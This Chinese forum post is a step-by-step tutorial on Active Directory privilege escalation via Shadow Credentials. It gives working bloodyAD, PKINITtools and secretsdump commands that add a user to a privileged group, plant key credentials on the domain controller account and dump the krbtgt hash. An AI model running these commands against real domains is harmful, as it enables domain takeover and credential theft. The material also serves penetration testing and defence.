域内用户如何利用Shadow Credentials提权到域管
penso**** 发表于 广东 WEB安全 1374浏览 · 2024-02-20 09:24

如果攻击者可以修改目标对象(用户或计算机帐户)msDS-KeyCredentialLink属性并以证书形式附加备用凭据,则攻击者可以修改该属性进而接管 AD 用户或计算机帐户。
在攻防项目中,有时候拿了高权限的域用户却因权限不够,没法直接导出krbtgt的hash,在这种场景下就可以利用Shadow Credentials进行提权
假设我们拿到了这个域账号

IT-manager@penson.org/ITPenson@123yyds
查看这个域账号属于ACCOUNT OPERATORS组,这个组的成员是就可以管理域用户和账户的


但是是没办法拿到域控权限的,不属于Adminstrators组,是无法导出krbtgt hash的


由此需要想办法提权到域控权限,因为ACCOUNT OPERATORS组可以管理域用户和账户,由此可以添加该用户到特殊权限组
利用bloodAD

bloodyAD.py --host 192.168.21.114 -d penson.org -u IT-manager -p ITPenson@123yyds add groupMember 'Administrator' IT-manager


本来想直接加到Administrator组里,发现没有权限,那么应该加到哪个组呢?
用bloodhound发现ENTERPRISE KEY ADMINS这个组可以AddKeyCredentialLink,AddKeyCredentialLink这个是什么意思呢?借用谷歌翻译
ENTERPRISE KEY ADMINS@PENSON.ORG 组的成员能够写入 ADCS.PENSON.ORG 上的“msds-KeyCredentialLink”属性。写入此属性允许攻击者在对象上创建“影子凭证”并使用 kerberos PKINIT 作为主体进行身份验证。如果攻击者可以修改目标对象(用户或计算机帐户)msDS-KeyCredentialLink属性并以证书形式附加备用凭据,则此技术允许攻击者接管 AD 用户或计算机帐户。


尝试添加到ENTERPRISE KEY ADMINS这个组

python3.8 bloodyAD.py --host 192.168.21.114 -d penson.org -u IT-manager -p ITPenson@123yyds add groupMember 'ENTERPRISE KEY ADMINS' IT-manager


为AD$添加影子凭据

python3.8 bloodyAD.py --host 192.168.21.114 -d penson.org -u IT-manager -p ITPenson@123yyds add shadowCredentials AD$

利用PKINITtools拿票据

python3.8 ../PKINITtools/gettgtpkinit.py -cert-pem QNEvQE57_cert.pem -key-pem QNEvQE57_priv.pem penson.org/AD$ QNEvQE57.ccache -dc-ip 192.168.21.114


获取AD$hash

python3.8 ../PKINITtools/getnthash.py penson.org/AD$ -key 3053f5d8109dc862de65741e58945abd584910abbef89cd50c9478a977d4c8aa -dc-ip 192.168.21.114

python3.8 secretsdump.py penson.org/ad\$@192.168.21.114 -just-dc-user PENSON/krbtgt -hashes :c0032e2567e4f12b7f8ba3e436db4177

这个时候可以发现成功提权了

参考文章
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials

0 条评论
某人
表情
可输入 255
目录